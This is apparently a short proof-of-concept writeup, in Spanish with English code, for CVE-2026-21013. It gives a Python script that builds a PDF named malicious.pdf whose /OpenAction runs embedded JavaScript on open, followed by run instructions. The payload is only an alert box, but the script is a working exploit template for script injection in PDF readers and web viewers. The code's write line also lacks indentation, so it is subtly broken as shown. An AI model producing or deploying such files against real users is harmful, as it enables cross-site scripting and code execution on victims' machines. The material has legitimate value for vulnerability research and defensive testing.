
Genera un PDF con JavaScript incrustado para demostrar CVE-2026-21013, una inyección de OpenAction que conduce a la ejecución de scripts en lectores de PDF vulnerables.
# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")
Un generador de PDF no sanitiza el contenido proporcionado por el usuario antes de incrustarlo en el archivo PDF. Un atacante puede inyectar una entrada de JavaScript /OpenAction que se ejecuta cuando se abre el documento, lo que conduce a cross‑site scripting (en visores web) o ejecución de código local (en lectores de escritorio con soporte completo de JS).
Ejecuta el generador:
python generate_pdf_js_inject.py
Abre el malicious.pdf resultante en un lector de PDF que admita JavaScript; aparecerá un cuadro de alerta.